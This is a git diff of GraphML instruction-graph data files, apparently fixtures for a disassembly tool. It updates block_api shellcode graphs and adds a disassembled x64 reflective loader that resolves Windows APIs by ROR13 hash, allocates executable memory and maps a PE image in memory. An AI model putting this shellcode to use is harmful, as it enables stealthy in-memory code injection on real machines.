diff --git a/data/shellcode/block_api.x64.graphml b/data/shellcode/block_api.x64.graphml
index a10c598ec166c..957881914a54c 100644
--- a/data/shellcode/block_api.x64.graphml
+++ b/data/shellcode/block_api.x64.graphml
@@ -4,13 +4,14 @@
+
0x1000
- block
+ instructions-graph
0x1000
- block
+ instructions
0x1000
instruction
@@ -67,9 +68,12 @@
-
+
+
+
+
@@ -77,10 +81,10 @@
0x1017
- block
+ instructions-graph
0x1017
- block
+ instructions
0x1017
instruction
@@ -103,10 +107,10 @@
0x1026
- block
+ instructions-graph
0x1026
- block
+ instructions
0x1026
instruction
@@ -132,16 +136,17 @@
jl 0x1030
+
0x102e
- block
+ instructions-graph
0x102e
- block
+ instructions
0x102e
instruction
@@ -152,10 +157,10 @@
0x1030
- block
+ instructions-graph
0x1030
- block
+ instructions
0x1030
instruction
@@ -180,10 +185,10 @@
0x1039
- block
+ instructions-graph
0x1039
- block
+ instructions
0x1039
instruction
@@ -226,9 +231,11 @@
756f
jne 0x10bd
-
-
+
+
+
+
@@ -238,10 +245,10 @@
0x104e
- block
+ instructions-graph
0x104e
- block
+ instructions
0x104e
instruction
@@ -266,10 +273,10 @@
0x1059
- block
+ instructions-graph
0x1059
- block
+ instructions
0x1059
instruction
@@ -303,15 +310,18 @@
+
+
+
0x1067
- block
+ instructions-graph
0x1067
- block
+ instructions
0x1067
instruction
@@ -322,10 +332,10 @@
0x1069
- block
+ instructions-graph
0x1069
- block
+ instructions
0x1069
instruction
@@ -350,17 +360,17 @@
448b4c2408
mov r9d, dword ptr [rsp + 8]
-
+
0x1078
- block
+ instructions-graph
0x1078
- block
+ instructions
0x1078
instruction
@@ -410,10 +420,10 @@
0x1087
- block
+ instructions-graph
0x1087
- block
+ instructions
0x1087
instruction
@@ -431,10 +441,10 @@
0x108c
- block
+ instructions-graph
0x108c
- block
+ instructions
0x108c
instruction
@@ -549,29 +559,38 @@
ffe0
jmp rax
-
-
+
+
+
+
+
+
-
-
+
-
+
-
+
+
+
+
+
-
+
+
+
@@ -585,10 +604,10 @@
0x10bc
- block
+ instructions-graph
0x10bc
- block
+ instructions
0x10bc
instruction
@@ -599,10 +618,10 @@
0x10bd
- block
+ instructions-graph
0x10bd
- block
+ instructions
0x10bd
instruction
diff --git a/data/shellcode/block_api.x86.graphml b/data/shellcode/block_api.x86.graphml
index 363ee7f9eb97a..286a2114c6fe5 100644
--- a/data/shellcode/block_api.x86.graphml
+++ b/data/shellcode/block_api.x86.graphml
@@ -4,13 +4,14 @@
+
0x1000
- block
+ instructions-graph
0x1000
- block
+ instructions
0x1000
instruction
@@ -47,8 +48,11 @@
8b5214
mov edx, dword ptr [edx + 0x14]
-
+
+
+
+
@@ -56,10 +60,10 @@
0x100f
- block
+ instructions-graph
0x100f
- block
+ instructions
0x100f
instruction
@@ -82,10 +86,10 @@
0x101b
- block
+ instructions-graph
0x101b
- block
+ instructions
0x101b
instruction
@@ -111,16 +115,17 @@
jl 0x1024
+
0x1022
- block
+ instructions-graph
0x1022
- block
+ instructions
0x1022
instruction
@@ -131,10 +136,10 @@
0x1024
- block
+ instructions-graph
0x1024
- block
+ instructions
0x1024
instruction
@@ -166,10 +171,10 @@
0x102c
- block
+ instructions-graph
0x102c
- block
+ instructions
0x102c
instruction
@@ -220,21 +225,24 @@
-
+
+
+
+
0x103d
- block
+ instructions-graph
0x103d
- block
+ instructions
0x103d
instruction
@@ -268,15 +276,18 @@
+
+
+
0x1048
- block
+ instructions-graph
0x1048
- block
+ instructions
0x1048
instruction
@@ -294,10 +305,10 @@
0x104c
- block
+ instructions-graph
0x104c
- block
+ instructions
0x104c
instruction
@@ -322,17 +333,17 @@
8b7df8
mov edi, dword ptr [ebp - 8]
-
+
0x1055
- block
+ instructions-graph
0x1055
- block
+ instructions
0x1055
instruction
@@ -381,10 +392,10 @@
0x1061
- block
+ instructions-graph
0x1061
- block
+ instructions
0x1061
instruction
@@ -402,10 +413,10 @@
0x1066
- block
+ instructions-graph
0x1066
- block
+ instructions
0x1066
instruction
@@ -502,33 +513,41 @@
ffe0
jmp eax
-
+
-
+
+
+
+
+
-
-
+
+
-
-
+
+
+
+
+
+
-
-
+
+
@@ -538,10 +557,10 @@
0x1086
- block
+ instructions-graph
0x1086
- block
+ instructions
0x1086
instruction
@@ -552,10 +571,10 @@
0x1087
- block
+ instructions-graph
0x1087
- block
+ instructions
0x1087
instruction
diff --git a/data/shellcode/reflective_loader.x64.graphml b/data/shellcode/reflective_loader.x64.graphml
new file mode 100644
index 0000000000000..576b01ad8d1ad
--- /dev/null
+++ b/data/shellcode/reflective_loader.x64.graphml
@@ -0,0 +1,3758 @@
+
+
+
+
+
+
+
+
+
+ 0x1000
+ instructions-graph
+
+ 0x1000
+ instructions
+
+ 0x1000
+ instruction
+ 55
+ push rbp
+
+
+ 0x1001
+ instruction
+ 4889e5
+ mov rbp, rsp
+
+
+ 0x1004
+ instruction
+ 4881eca0000000
+ sub rsp, 0xa0
+
+
+ 0x100b
+ instruction
+ 4883e4f0
+ and rsp, 0xfffffffffffffff0
+
+
+ 0x100f
+ instruction
+ 53
+ push rbx
+
+
+ 0x1010
+ instruction
+ 56
+ push rsi
+
+
+ 0x1011
+ instruction
+ 57
+ push rdi
+
+
+ 0x1012
+ instruction
+ 4154
+ push r12
+
+
+ 0x1014
+ instruction
+ 4155
+ push r13
+
+
+ 0x1016
+ instruction
+ 4156
+ push r14
+
+
+ 0x1018
+ instruction
+ 4157
+ push r15
+
+
+ 0x101a
+ instruction
+ 4831c0
+ xor rax, rax
+
+
+ 0x101d
+ instruction
+ 488945f8
+ mov qword ptr [rbp - 8], rax
+
+
+ 0x1021
+ instruction
+ 488945f0
+ mov qword ptr [rbp - 0x10], rax
+
+
+ 0x1025
+ instruction
+ 488945e8
+ mov qword ptr [rbp - 0x18], rax
+
+
+ 0x1029
+ instruction
+ 488945e0
+ mov qword ptr [rbp - 0x20], rax
+
+
+ 0x102d
+ instruction
+ 48898568ffffff
+ mov qword ptr [rbp - 0x98], rax
+
+
+ 0x1034
+ instruction
+ 4831c9
+ xor rcx, rcx
+
+
+ 0x1037
+ instruction
+ 4885c9
+ test rcx, rcx
+
+
+ 0x103a
+ instruction
+ 753b
+ jne 0x1077
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 0x103c
+ instructions-graph
+
+ 0x103c
+ instructions
+
+ 0x103c
+ instruction
+ e800000000
+ call 0x1041
+
+
+
+
+ 0x1041
+ instructions-graph
+
+ 0x1041
+ instructions
+
+ 0x1041
+ instruction
+ 59
+ pop rcx
+
+
+ 0x1042
+ instruction
+ 4881e100f0ffff
+ and rcx, 0xfffffffffffff000
+
+
+
+
+
+ 0x1049
+ instructions-graph
+
+ 0x1049
+ instructions
+
+ 0x1049
+ instruction
+ 668b01
+ mov ax, word ptr [rcx]
+
+
+ 0x104c
+ instruction
+ 663d4d5a
+ cmp ax, 0x5a4d
+
+
+ 0x1050
+ instruction
+ 751c
+ jne 0x106e
+
+
+
+
+
+
+ 0x1052
+ instructions-graph
+
+ 0x1052
+ instructions
+
+ 0x1052
+ instruction
+ 8b413c
+ mov eax, dword ptr [rcx + 0x3c]
+
+
+ 0x1055
+ instruction
+ 83f840
+ cmp eax, 0x40
+
+
+ 0x1058
+ instruction
+ 7214
+ jb 0x106e
+
+
+
+
+
+
+ 0x105a
+ instructions-graph
+
+ 0x105a
+ instructions
+
+ 0x105a
+ instruction
+ 3d00040000
+ cmp eax, 0x400
+
+
+ 0x105f
+ instruction
+ 730d
+ jae 0x106e
+
+
+
+
+
+ 0x1061
+ instructions-graph
+
+ 0x1061
+ instructions
+
+ 0x1061
+ instruction
+ 488d1401
+ lea rdx, [rcx + rax]
+
+
+ 0x1065
+ instruction
+ 8b02
+ mov eax, dword ptr [rdx]
+
+
+ 0x1067
+ instruction
+ 3d50450000
+ cmp eax, 0x4550
+
+
+ 0x106c
+ instruction
+ 7409
+ je 0x1077
+
+
+
+
+
+
+
+ 0x106e
+ instructions-graph
+
+ 0x106e
+ instructions
+
+ 0x106e
+ instruction
+ 4881e900100000
+ sub rcx, 0x1000
+
+
+ 0x1075
+ instruction
+ ebd2
+ jmp 0x1049
+
+
+
+
+
+ 0x1077
+ instructions-graph
+
+ 0x1077
+ instructions
+
+ 0x1077
+ instruction
+ 48894dd8
+ mov qword ptr [rbp - 0x28], rcx
+
+
+ 0x107b
+ instruction
+ 65488b042560000000
+ mov rax, qword ptr gs:[0x60]
+
+
+ 0x1084
+ instruction
+ 488b4018
+ mov rax, qword ptr [rax + 0x18]
+
+
+ 0x1088
+ instruction
+ 488b4020
+ mov rax, qword ptr [rax + 0x20]
+
+
+
+
+
+
+
+
+
+ 0x108c
+ instructions-graph
+
+ 0x108c
+ instructions
+
+ 0x108c
+ instruction
+ 4885c0
+ test rax, rax
+
+
+ 0x108f
+ instruction
+ 0f840a020000
+ je 0x129f
+
+
+
+
+
+ 0x1095
+ instructions-graph
+
+ 0x1095
+ instructions
+
+ 0x1095
+ instruction
+ 488945a0
+ mov qword ptr [rbp - 0x60], rax
+
+
+ 0x1099
+ instruction
+ 480fb74848
+ movzx rcx, word ptr [rax + 0x48]
+
+
+ 0x109e
+ instruction
+ 4885c9
+ test rcx, rcx
+
+
+ 0x10a1
+ instruction
+ 0f84ec010000
+ je 0x1293
+
+
+
+
+
+
+
+ 0x10a7
+ instructions-graph
+
+ 0x10a7
+ instructions
+
+ 0x10a7
+ instruction
+ 488b5050
+ mov rdx, qword ptr [rax + 0x50]
+
+
+ 0x10ab
+ instruction
+ 41bc00000000
+ mov r12d, 0
+
+
+
+
+ 0x10b1
+ instructions-graph
+
+ 0x10b1
+ instructions
+
+ 0x10b1
+ instruction
+ 41c1cc0d
+ ror r12d, 0xd
+
+
+ 0x10b5
+ instruction
+ 0fb61a
+ movzx ebx, byte ptr [rdx]
+
+
+ 0x10b8
+ instruction
+ 80fb61
+ cmp bl, 0x61
+
+
+ 0x10bb
+ instruction
+ 7203
+ jb 0x10c0
+
+
+
+
+
+
+
+
+ 0x10bd
+ instructions-graph
+
+ 0x10bd
+ instructions
+
+ 0x10bd
+ instruction
+ 80eb20
+ sub bl, 0x20
+
+
+
+
+ 0x10c0
+ instructions-graph
+
+ 0x10c0
+ instructions
+
+ 0x10c0
+ instruction
+ 4101dc
+ add r12d, ebx
+
+
+ 0x10c3
+ instruction
+ 48ffc2
+ inc rdx
+
+
+ 0x10c6
+ instruction
+ 48ffc9
+ dec rcx
+
+
+ 0x10c9
+ instruction
+ 75e6
+ jne 0x10b1
+
+
+
+
+
+
+
+ 0x10cb
+ instructions-graph
+
+ 0x10cb
+ instructions
+
+ 0x10cb
+ instruction
+ 4181fc5bbc4a6a
+ cmp r12d, 0x6a4abc5b
+
+
+ 0x10d2
+ instruction
+ 7412
+ je 0x10e6
+
+
+
+
+
+ 0x10d4
+ instructions-graph
+
+ 0x10d4
+ instructions
+
+ 0x10d4
+ instruction
+ 4181fc5d68fa3c
+ cmp r12d, 0x3cfa685d
+
+
+ 0x10db
+ instruction
+ 0f84ba000000
+ je 0x119b
+
+
+
+
+
+ 0x10e1
+ instructions-graph
+
+ 0x10e1
+ instructions
+
+ 0x10e1
+ instruction
+ e9ad010000
+ jmp 0x1293
+
+
+
+
+ 0x10e6
+ instructions-graph
+
+ 0x10e6
+ instructions
+
+ 0x10e6
+ instruction
+ 488b45a0
+ mov rax, qword ptr [rbp - 0x60]
+
+
+ 0x10ea
+ instruction
+ 4c8b6820
+ mov r13, qword ptr [rax + 0x20]
+
+
+ 0x10ee
+ instruction
+ 4c896dd0
+ mov qword ptr [rbp - 0x30], r13
+
+
+ 0x10f2
+ instruction
+ e89a040000
+ call 0x1591
+
+
+
+
+
+
+
+
+ 0x10f7
+ instructions-graph
+
+ 0x10f7
+ instructions
+
+ 0x10f7
+ instruction
+ 48c78578ffffff02000000
+ mov qword ptr [rbp - 0x88], 2
+
+
+
+
+ 0x1102
+ instructions-graph
+
+ 0x1102
+ instructions
+
+ 0x1102
+ instruction
+ 488b4590
+ mov rax, qword ptr [rbp - 0x70]
+
+
+ 0x1106
+ instruction
+ 4885c0
+ test rax, rax
+
+
+ 0x1109
+ instruction
+ 0f8454010000
+ je 0x1263
+
+
+
+
+
+
+ 0x110f
+ instructions-graph
+
+ 0x110f
+ instructions
+
+ 0x110f
+ instruction
+ 48ffc8
+ dec rax
+
+
+ 0x1112
+ instruction
+ 48894590
+ mov qword ptr [rbp - 0x70], rax
+
+
+ 0x1116
+ instruction
+ 488b4db8
+ mov rcx, qword ptr [rbp - 0x48]
+
+
+ 0x111a
+ instruction
+ 8b09
+ mov ecx, dword ptr [rcx]
+
+
+ 0x111c
+ instruction
+ 48034dd0
+ add rcx, qword ptr [rbp - 0x30]
+
+
+ 0x1120
+ instruction
+ e8a4040000
+ call 0x15c9
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 0x1125
+ instructions-graph
+
+ 0x1125
+ instructions
+
+ 0x1125
+ instruction
+ 48898570ffffff
+ mov qword ptr [rbp - 0x90], rax
+
+
+ 0x112c
+ instruction
+ 3d8e4e0eec
+ cmp eax, 0xec0e4e8e
+
+
+ 0x1131
+ instruction
+ 7409
+ je 0x113c
+
+
+
+
+
+
+ 0x1133
+ instructions-graph
+
+ 0x1133
+ instructions
+
+ 0x1133
+ instruction
+ 3daafc0d7c
+ cmp eax, 0x7c0dfcaa
+
+
+ 0x1138
+ instruction
+ 7402
+ je 0x113c
+
+
+
+
+
+ 0x113a
+ instructions-graph
+
+ 0x113a
+ instructions
+
+ 0x113a
+ instruction
+ eb50
+ jmp 0x118c
+
+
+
+
+ 0x113c
+ instructions-graph
+
+ 0x113c
+ instructions
+
+ 0x113c
+ instruction
+ 4c8b75c0
+ mov r14, qword ptr [rbp - 0x40]
+
+
+ 0x1140
+ instruction
+ 458b761c
+ mov r14d, dword ptr [r14 + 0x1c]
+
+
+ 0x1144
+ instruction
+ 4c0375d0
+ add r14, qword ptr [rbp - 0x30]
+
+
+ 0x1148
+ instruction
+ 4c8b7db0
+ mov r15, qword ptr [rbp - 0x50]
+
+
+ 0x114c
+ instruction
+ 450fb73f
+ movzx r15d, word ptr [r15]
+
+
+ 0x1150
+ instruction
+ 4f8d34be
+ lea r14, [r14 + r15*4]
+
+
+ 0x1154
+ instruction
+ 458b36
+ mov r14d, dword ptr [r14]
+
+
+ 0x1157
+ instruction
+ 4c0375d0
+ add r14, qword ptr [rbp - 0x30]
+
+
+ 0x115b
+ instruction
+ 8b8570ffffff
+ mov eax, dword ptr [rbp - 0x90]
+
+
+ 0x1161
+ instruction
+ 3d8e4e0eec
+ cmp eax, 0xec0e4e8e
+
+
+ 0x1166
+ instruction
+ 7506
+ jne 0x116e
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 0x1168
+ instructions-graph
+
+ 0x1168
+ instructions
+
+ 0x1168
+ instruction
+ 4c8975f8
+ mov qword ptr [rbp - 8], r14
+
+
+ 0x116c
+ instruction
+ eb04
+ jmp 0x1172
+
+
+
+
+
+ 0x116e
+ instructions-graph
+
+ 0x116e
+ instructions
+
+ 0x116e
+ instruction
+ 4c8975f0
+ mov qword ptr [rbp - 0x10], r14
+
+
+
+
+ 0x1172
+ instructions-graph
+
+ 0x1172
+ instructions
+
+ 0x1172
+ instruction
+ 488b8578ffffff
+ mov rax, qword ptr [rbp - 0x88]
+
+
+ 0x1179
+ instruction
+ 48ffc8
+ dec rax
+
+
+ 0x117c
+ instruction
+ 48898578ffffff
+ mov qword ptr [rbp - 0x88], rax
+
+
+ 0x1183
+ instruction
+ 4885c0
+ test rax, rax
+
+
+ 0x1186
+ instruction
+ 0f84d7000000
+ je 0x1263
+
+
+
+
+
+
+
+
+
+
+
+ 0x118c
+ instructions-graph
+
+ 0x118c
+ instructions
+
+ 0x118c
+ instruction
+ 488345b804
+ add qword ptr [rbp - 0x48], 4
+
+
+ 0x1191
+ instruction
+ 488345b002
+ add qword ptr [rbp - 0x50], 2
+
+
+ 0x1196
+ instruction
+ e967ffffff
+ jmp 0x1102
+
+
+
+
+
+
+ 0x119b
+ instructions-graph
+
+ 0x119b
+ instructions
+
+ 0x119b
+ instruction
+ 488b45a0
+ mov rax, qword ptr [rbp - 0x60]
+
+
+ 0x119f
+ instruction
+ 4c8b6820
+ mov r13, qword ptr [rax + 0x20]
+
+
+ 0x11a3
+ instruction
+ 4c896dd0
+ mov qword ptr [rbp - 0x30], r13
+
+
+ 0x11a7
+ instruction
+ e8e5030000
+ call 0x1591
+
+
+
+
+
+
+
+
+ 0x11ac
+ instructions-graph
+
+ 0x11ac
+ instructions
+
+ 0x11ac
+ instruction
+ 48c78578ffffff03000000
+ mov qword ptr [rbp - 0x88], 3
+
+
+
+
+ 0x11b7
+ instructions-graph
+
+ 0x11b7
+ instructions
+
+ 0x11b7
+ instruction
+ 488b4590
+ mov rax, qword ptr [rbp - 0x70]
+
+
+ 0x11bb
+ instruction
+ 4885c0
+ test rax, rax
+
+
+ 0x11be
+ instruction
+ 0f849f000000
+ je 0x1263
+
+
+
+
+
+
+ 0x11c4
+ instructions-graph
+
+ 0x11c4
+ instructions
+
+ 0x11c4
+ instruction
+ 48ffc8
+ dec rax
+
+
+ 0x11c7
+ instruction
+ 48894590
+ mov qword ptr [rbp - 0x70], rax
+
+
+ 0x11cb
+ instruction
+ 488b4db8
+ mov rcx, qword ptr [rbp - 0x48]
+
+
+ 0x11cf
+ instruction
+ 8b09
+ mov ecx, dword ptr [rcx]
+
+
+ 0x11d1
+ instruction
+ 48034dd0
+ add rcx, qword ptr [rbp - 0x30]
+
+
+ 0x11d5
+ instruction
+ e8ef030000
+ call 0x15c9
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 0x11da
+ instructions-graph
+
+ 0x11da
+ instructions
+
+ 0x11da
+ instruction
+ 48898570ffffff
+ mov qword ptr [rbp - 0x90], rax
+
+
+ 0x11e1
+ instruction
+ 3db80a4c53
+ cmp eax, 0x534c0ab8
+
+
+ 0x11e6
+ instruction
+ 7410
+ je 0x11f8
+
+
+
+
+
+
+ 0x11e8
+ instructions-graph
+
+ 0x11e8
+ instructions
+
+ 0x11e8
+ instruction
+ 3ded4a3dd3
+ cmp eax, 0xd33d4aed
+
+
+ 0x11ed
+ instruction
+ 7409
+ je 0x11f8
+
+
+
+
+
+ 0x11ef
+ instructions-graph
+
+ 0x11ef
+ instructions
+
+ 0x11ef
+ instruction
+ 3d894d3fbc
+ cmp eax, 0xbc3f4d89
+
+
+ 0x11f4
+ instruction
+ 7402
+ je 0x11f8
+
+
+
+
+
+ 0x11f6
+ instructions-graph
+
+ 0x11f6
+ instructions
+
+ 0x11f6
+ instruction
+ eb5c
+ jmp 0x1254
+
+
+
+
+ 0x11f8
+ instructions-graph
+
+ 0x11f8
+ instructions
+
+ 0x11f8
+ instruction
+ 4c8b75c0
+ mov r14, qword ptr [rbp - 0x40]
+
+
+ 0x11fc
+ instruction
+ 458b761c
+ mov r14d, dword ptr [r14 + 0x1c]
+
+
+ 0x1200
+ instruction
+ 4c0375d0
+ add r14, qword ptr [rbp - 0x30]
+
+
+ 0x1204
+ instruction
+ 4c8b7db0
+ mov r15, qword ptr [rbp - 0x50]
+
+
+ 0x1208
+ instruction
+ 450fb73f
+ movzx r15d, word ptr [r15]
+
+
+ 0x120c
+ instruction
+ 4f8d34be
+ lea r14, [r14 + r15*4]
+
+
+ 0x1210
+ instruction
+ 458b36
+ mov r14d, dword ptr [r14]
+
+
+ 0x1213
+ instruction
+ 4c0375d0
+ add r14, qword ptr [rbp - 0x30]
+
+
+ 0x1217
+ instruction
+ 8b8570ffffff
+ mov eax, dword ptr [rbp - 0x90]
+
+
+ 0x121d
+ instruction
+ 3db80a4c53
+ cmp eax, 0x534c0ab8
+
+
+ 0x1222
+ instruction
+ 7506
+ jne 0x122a
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 0x1224
+ instructions-graph
+
+ 0x1224
+ instructions
+
+ 0x1224
+ instruction
+ 4c8975e0
+ mov qword ptr [rbp - 0x20], r14
+
+
+ 0x1228
+ instruction
+ eb14
+ jmp 0x123e
+
+
+
+
+
+ 0x122a
+ instructions-graph
+
+ 0x122a
+ instructions
+
+ 0x122a
+ instruction
+ 3ded4a3dd3
+ cmp eax, 0xd33d4aed
+
+
+ 0x122f
+ instruction
+ 7506
+ jne 0x1237
+
+
+
+
+
+ 0x1231
+ instructions-graph
+
+ 0x1231
+ instructions
+
+ 0x1231
+ instruction
+ 4c8975e8
+ mov qword ptr [rbp - 0x18], r14
+
+
+ 0x1235
+ instruction
+ eb07
+ jmp 0x123e
+
+
+
+
+
+ 0x1237
+ instructions-graph
+
+ 0x1237
+ instructions
+
+ 0x1237
+ instruction
+ 4c89b568ffffff
+ mov qword ptr [rbp - 0x98], r14
+
+
+
+
+ 0x123e
+ instructions-graph
+
+ 0x123e
+ instructions
+
+ 0x123e
+ instruction
+ 488b8578ffffff
+ mov rax, qword ptr [rbp - 0x88]
+
+
+ 0x1245
+ instruction
+ 48ffc8
+ dec rax
+
+
+ 0x1248
+ instruction
+ 48898578ffffff
+ mov qword ptr [rbp - 0x88], rax
+
+
+ 0x124f
+ instruction
+ 4885c0
+ test rax, rax
+
+
+ 0x1252
+ instruction
+ 740f
+ je 0x1263
+
+
+
+
+
+
+
+
+
+
+
+ 0x1254
+ instructions-graph
+
+ 0x1254
+ instructions
+
+ 0x1254
+ instruction
+ 488345b804
+ add qword ptr [rbp - 0x48], 4
+
+
+ 0x1259
+ instruction
+ 488345b002
+ add qword ptr [rbp - 0x50], 2
+
+
+ 0x125e
+ instruction
+ e954ffffff
+ jmp 0x11b7
+
+
+
+
+
+
+ 0x1263
+ instructions-graph
+
+ 0x1263
+ instructions
+
+ 0x1263
+ instruction
+ 488b45f8
+ mov rax, qword ptr [rbp - 8]
+
+
+ 0x1267
+ instruction
+ 4885c0
+ test rax, rax
+
+
+ 0x126a
+ instruction
+ 7427
+ je 0x1293
+
+
+
+
+
+
+ 0x126c
+ instructions-graph
+
+ 0x126c
+ instructions
+
+ 0x126c
+ instruction
+ 488b45f0
+ mov rax, qword ptr [rbp - 0x10]
+
+
+ 0x1270
+ instruction
+ 4885c0
+ test rax, rax
+
+
+ 0x1273
+ instruction
+ 741e
+ je 0x1293
+
+
+
+
+
+
+ 0x1275
+ instructions-graph
+
+ 0x1275
+ instructions
+
+ 0x1275
+ instruction
+ 488b45e8
+ mov rax, qword ptr [rbp - 0x18]
+
+
+ 0x1279
+ instruction
+ 4885c0
+ test rax, rax
+
+
+ 0x127c
+ instruction
+ 7415
+ je 0x1293
+
+
+
+
+
+
+ 0x127e
+ instructions-graph
+
+ 0x127e
+ instructions
+
+ 0x127e
+ instruction
+ 488b8568ffffff
+ mov rax, qword ptr [rbp - 0x98]
+
+
+ 0x1285
+ instruction
+ 4885c0
+ test rax, rax
+
+
+ 0x1288
+ instruction
+ 7409
+ je 0x1293
+
+
+
+
+
+
+ 0x128a
+ instructions-graph
+
+ 0x128a
+ instructions
+
+ 0x128a
+ instruction
+ 488b45e0
+ mov rax, qword ptr [rbp - 0x20]
+
+
+ 0x128e
+ instruction
+ 4885c0
+ test rax, rax
+
+
+ 0x1291
+ instruction
+ 750c
+ jne 0x129f
+
+
+
+
+
+
+ 0x1293
+ instructions-graph
+
+ 0x1293
+ instructions
+
+ 0x1293
+ instruction
+ 488b45a0
+ mov rax, qword ptr [rbp - 0x60]
+
+
+ 0x1297
+ instruction
+ 488b00
+ mov rax, qword ptr [rax]
+
+
+ 0x129a
+ instruction
+ e9edfdffff
+ jmp 0x108c
+
+
+
+
+
+
+ 0x129f
+ instructions-graph
+
+ 0x129f
+ instructions
+
+ 0x129f
+ instruction
+ 488b4dd8
+ mov rcx, qword ptr [rbp - 0x28]
+
+
+ 0x12a3
+ instruction
+ 8b413c
+ mov eax, dword ptr [rcx + 0x3c]
+
+
+ 0x12a6
+ instruction
+ 4c8d2401
+ lea r12, [rcx + rax]
+
+
+ 0x12aa
+ instruction
+ 4c8965c8
+ mov qword ptr [rbp - 0x38], r12
+
+
+ 0x12ae
+ instruction
+ 4883ec48
+ sub rsp, 0x48
+
+
+ 0x12b2
+ instruction
+ 4831c0
+ xor rax, rax
+
+
+ 0x12b5
+ instruction
+ 4889442438
+ mov qword ptr [rsp + 0x38], rax
+
+
+ 0x12ba
+ instruction
+ 418b442450
+ mov eax, dword ptr [r12 + 0x50]
+
+
+ 0x12bf
+ instruction
+ 4889442440
+ mov qword ptr [rsp + 0x40], rax
+
+
+ 0x12c4
+ instruction
+ 48c7c1ffffffff
+ mov rcx, 0xffffffffffffffff
+
+
+ 0x12cb
+ instruction
+ 488d542438
+ lea rdx, [rsp + 0x38]
+
+
+ 0x12d0
+ instruction
+ 4d31c0
+ xor r8, r8
+
+
+ 0x12d3
+ instruction
+ 4c8d4c2440
+ lea r9, [rsp + 0x40]
+
+
+ 0x12d8
+ instruction
+ c744242000300000
+ mov dword ptr [rsp + 0x20], 0x3000
+
+
+ 0x12e0
+ instruction
+ c744242840000000
+ mov dword ptr [rsp + 0x28], 0x40
+
+
+ 0x12e8
+ instruction
+ 4c8b55e8
+ mov r10, qword ptr [rbp - 0x18]
+
+
+ 0x12ec
+ instruction
+ e892020000
+ call 0x1583
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 0x12f1
+ instructions-graph
+
+ 0x12f1
+ instructions
+
+ 0x12f1
+ instruction
+ 488b442438
+ mov rax, qword ptr [rsp + 0x38]
+
+
+ 0x12f6
+ instruction
+ 4883c448
+ add rsp, 0x48
+
+
+ 0x12fa
+ instruction
+ 488945d0
+ mov qword ptr [rbp - 0x30], rax
+
+
+ 0x12fe
+ instruction
+ 418b4c2454
+ mov ecx, dword ptr [r12 + 0x54]
+
+
+ 0x1303
+ instruction
+ 488b75d8
+ mov rsi, qword ptr [rbp - 0x28]
+
+
+ 0x1307
+ instruction
+ 488b7dd0
+ mov rdi, qword ptr [rbp - 0x30]
+
+
+
+
+
+
+
+
+ 0x130b
+ instructions-graph
+
+ 0x130b
+ instructions
+
+ 0x130b
+ instruction
+ f3a4
+ rep movsb byte ptr [rdi], byte ptr [rsi]
+
+
+
+
+ 0x130d
+ instructions-graph
+
+ 0x130d
+ instructions
+
+ 0x130d
+ instruction
+ 490fb7442414
+ movzx rax, word ptr [r12 + 0x14]
+
+
+ 0x1313
+ instruction
+ 4d8d6c0418
+ lea r13, [r12 + rax + 0x18]
+
+
+ 0x1318
+ instruction
+ 450fb77c2406
+ movzx r15d, word ptr [r12 + 6]
+
+
+
+
+
+ 0x131e
+ instructions-graph
+
+ 0x131e
+ instructions
+
+ 0x131e
+ instruction
+ 4585ff
+ test r15d, r15d
+
+
+ 0x1321
+ instruction
+ 7425
+ je 0x1348
+
+
+
+
+
+ 0x1323
+ instructions-graph
+
+ 0x1323
+ instructions
+
+ 0x1323
+ instruction
+ 418b450c
+ mov eax, dword ptr [r13 + 0xc]
+
+
+ 0x1327
+ instruction
+ 488b7dd0
+ mov rdi, qword ptr [rbp - 0x30]
+
+
+ 0x132b
+ instruction
+ 4801c7
+ add rdi, rax
+
+
+ 0x132e
+ instruction
+ 418b4514
+ mov eax, dword ptr [r13 + 0x14]
+
+
+ 0x1332
+ instruction
+ 488b75d8
+ mov rsi, qword ptr [rbp - 0x28]
+
+
+ 0x1336
+ instruction
+ 4801c6
+ add rsi, rax
+
+
+ 0x1339
+ instruction
+ 418b4d10
+ mov ecx, dword ptr [r13 + 0x10]
+
+
+
+
+
+
+
+
+
+
+
+ 0x133d
+ instructions-graph
+
+ 0x133d
+ instructions
+
+ 0x133d
+ instruction
+ f3a4
+ rep movsb byte ptr [rdi], byte ptr [rsi]
+
+
+
+
+ 0x133f
+ instructions-graph
+
+ 0x133f
+ instructions
+
+ 0x133f
+ instruction
+ 4983c528
+ add r13, 0x28
+
+
+ 0x1343
+ instruction
+ 41ffcf
+ dec r15d
+
+
+ 0x1346
+ instruction
+ ebd6
+ jmp 0x131e
+
+
+
+
+
+
+ 0x1348
+ instructions-graph
+
+ 0x1348
+ instructions
+
+ 0x1348
+ instruction
+ 418b842490000000
+ mov eax, dword ptr [r12 + 0x90]
+
+
+ 0x1350
+ instruction
+ 85c0
+ test eax, eax
+
+
+ 0x1352
+ instruction
+ 0f84a5000000
+ je 0x13fd
+
+
+
+
+
+
+ 0x1358
+ instructions-graph
+
+ 0x1358
+ instructions
+
+ 0x1358
+ instruction
+ 4c8b75d0
+ mov r14, qword ptr [rbp - 0x30]
+
+
+ 0x135c
+ instruction
+ 4901c6
+ add r14, rax
+
+
+
+
+
+ 0x135f
+ instructions-graph
+
+ 0x135f
+ instructions
+
+ 0x135f
+ instruction
+ 418b460c
+ mov eax, dword ptr [r14 + 0xc]
+
+
+ 0x1363
+ instruction
+ 85c0
+ test eax, eax
+
+
+ 0x1365
+ instruction
+ 0f8492000000
+ je 0x13fd
+
+
+
+
+
+
+ 0x136b
+ instructions-graph
+
+ 0x136b
+ instructions
+
+ 0x136b
+ instruction
+ 488b4dd0
+ mov rcx, qword ptr [rbp - 0x30]
+
+
+ 0x136f
+ instruction
+ 4801c1
+ add rcx, rax
+
+
+ 0x1372
+ instruction
+ 4883ec28
+ sub rsp, 0x28
+
+
+ 0x1376
+ instruction
+ ff55f8
+ call qword ptr [rbp - 8]
+
+
+
+
+
+
+
+
+ 0x1379
+ instructions-graph
+
+ 0x1379
+ instructions
+
+ 0x1379
+ instruction
+ 4883c428
+ add rsp, 0x28
+
